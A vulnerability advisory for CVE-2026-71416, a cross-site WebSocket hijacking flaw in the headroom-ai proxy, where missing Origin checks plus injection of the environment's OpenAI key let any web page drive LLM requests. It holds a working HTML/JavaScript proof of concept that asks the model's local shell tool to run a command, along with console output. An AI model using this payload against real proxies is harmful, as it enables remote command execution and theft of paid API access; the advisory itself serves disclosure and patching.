CVE-2026-71416 is a high-severity (CVSS 8.8) Improper Authentication vulnerability in headroom-ai. A fix is available for headroom-ai — see the affected versions and patch details below.
Headroom vulnerable to Cross-Site WebSocket Hijacking (CSWSH)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-71416.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2026-71416 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 383,485 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
headroom-aiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The Headroom WebSocket server does not validate the Origin header of incoming client WebSocket requests before forwarding the request to the upstream server, allowing malicious WebSocket clients to perform arbitrary LLM requests without authentication. This can be exploited by a malicious WebSocket client executed in a traditional or headless browser such as lightpanda, if the browser has access to the Headroom proxy and the OpenAI API key is stored in the OPENAI_API_KEY environment variable.
Details
The Headroom server defines a WebSocket handler at ws://<headroom_host>:8787/v1/responses in headroom/providers/proxy_routes.py:
@app.websocket("/v1/responses")
async def openai_responses_ws(websocket: WebSocket):
await proxy.handle_openai_responses_ws(websocket)
In the handle_openai_responses_ws() method of the OpenAIHandlerMixin class, the Origin header of the WebSocket client handshake is not checked or verified before calling websocket.accept(), which grants any WebSocket client (including malicious clients) access to the server:
async def handle_openai_responses_ws(self, websocket: WebSocket) -> None:
"""WebSocket proxy for /v1/responses (Codex gpt-5.4+).
Newer Codex versions use WebSocket instead of HTTP POST for the
Responses API. This handler:
1. Accepts the client WebSocket
2. Receives the first message (``response.create`` request)
3. Opens an upstream WebSocket to OpenAI
4. Compresses eligible `response.create` text through the Python
ContentRouter path, then sends the request upstream
5. Relays all subsequent messages bidirectionally
"""
...
# Accept client connection with the requested subprotocol
async with stage_timer.measure("accept"):
if client_subprotocols:
await websocket.accept(subprotocol=client_subprotocols[0])
else:
await websocket.accept()
The malicious WebSocket client does not need to provide authentication headers or API keys as the Authorization header is automatically populated with the OpenAI API key via the OPENAI_API_KEY environment variable, if it has been used to store the API key:
# Ensure Authorization header is present — fall back to OPENAI_API_KEY env var.
# Safety net for clients that don't forward auth headers via WebSocket upgrade.
if "authorization" not in _lower_headers:
api_key = os.environ.get("OPENAI_API_KEY")
if api_key:
upstream_headers["Authorization"] = f"Bearer {api_key}"
logger.debug(f"[{request_id}] WS: injected Authorization from OPENAI_API_KEY env")
else:
logger.warning(
f"[{request_id}] WS: no Authorization header from client and "
f"OPENAI_API_KEY not set — upstream will likely reject"
)
Once the client connection is accepted and authenticated malicious WebSocket clients can perform arbitrary LLM requests to the OpenAI API, including arbitrary instructions/input prompts and tools.
PoC
- Run the Headroom proxy server:
OPENAI_API_KEY=MY_KEY headroom proxy --host 0.0.0.0 - Render the following HTML PoC page in a traditional or headless browser which has access to the Headroom proxy server:
<html>
<body>
<script>
let headroomHost = '192.168.0.106';
let socket = new WebSocket(`ws://${headroomHost}:8787/v1/responses`);
let openAiPayload = {
type: "response.create",
model: "gpt-5.4",
instructions: "The local bash shell environment is on Linux.",
input: "Run the id command for the logged in user",
tools: [{type: "shell", environment: {type: "local"}}]
};
socket.addEventListener("open", (event) => {
let openAiPayloadStr = JSON.stringify(openAiPayload);
console.log(`Sending LLM request: ${openAiPayloadStr}`);
socket.send(openAiPayloadStr);
});
socket.addEventListener("message", (event) => {
console.log(`Response from server: ${event.data}`);
});
</script>
</body>
</html>
- The PoC uses the shell tool, but any tool/input/instruction prompt can be used.
Output
The console.log() output from the PoC shows that the malicious WebSocket client request was accepted by Headroom and forwarded to the upstream OpenAI API. The server responses show that I have an insufficient quota to perform the LLM request, but proves that it was attempted:
Sending LLM request: {"type":"response.create","model":"gpt-5.4","instructions":"The local bash shell environment is on Linux.","input":"Run the id command for the logged in user","tools":[{"type":"shell","environment":{"type":"local"}}]}
ws.html:22 Response from server: {"type":"response.created","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":0}
ws.html:22 Response from server: {"type":"response.in_progress","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"in_progress","background":false,"completed_at":null,"error":null,"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":1}
ws.html:22 Response from server: {"type":"error","error":{"type":"insufficient_quota","code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors.","param":null},"sequence_number":2}
ws.html:22 Response from server: {"type":"response.failed","response":{"id":"resp_062c8e90dd914f0b006a229117f800819ca7de4f15a51a305b","object":"response","created_at":1780650263,"status":"failed","background":false,"completed_at":null,"error":{"code":"insufficient_quota","message":"You exceeded your current quota, please check your plan and billing details. For more information on this error, read the docs: https://platform.openai.com/docs/guides/error-codes/api-errors."},"frequency_penalty":0.0,"incomplete_details":null,"instructions":"The local bash shell environment is on Linux.","max_output_tokens":null,"max_tool_calls":null,"model":"gpt-5.4-2026-03-05","moderation":null,"output":[],"parallel_tool_calls":true,"presence_penalty":0.0,"previous_response_id":null,"prompt_cache_key":null,"prompt_cache_retention":"24h","reasoning":{"context":"current_turn","effort":"none","summary":null},"safety_identifier":null,"service_tier":"auto","store":true,"temperature":1.0,"text":{"format":{"type":"text"},"verbosity":"medium"},"tool_choice":"auto","tools":[{"type":"shell","environment":{"type":"local"}}],"top_logprobs":0,"top_p":0.98,"truncation":"disabled","usage":null,"user":null,"metadata":{}},"sequence_number":3}
Impact
Allowing malicious WebSocket clients to perform arbitrary LLM requests could leverage tools such as the shell tool to perform arbitrary commands leading to RCE. Other tools or prompts could be used to disclose sensitive information or perform expensive LLM requests to waste an organisations quota.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | headroom-ai | all versions | 0.35.0pip install --upgrade 'headroom-ai==0.35.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for headroom-ai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update headroom-ai to 0.35.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-71416 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2026-71416 in your dependencies?
Find it across PyPI, including transitive dependencies.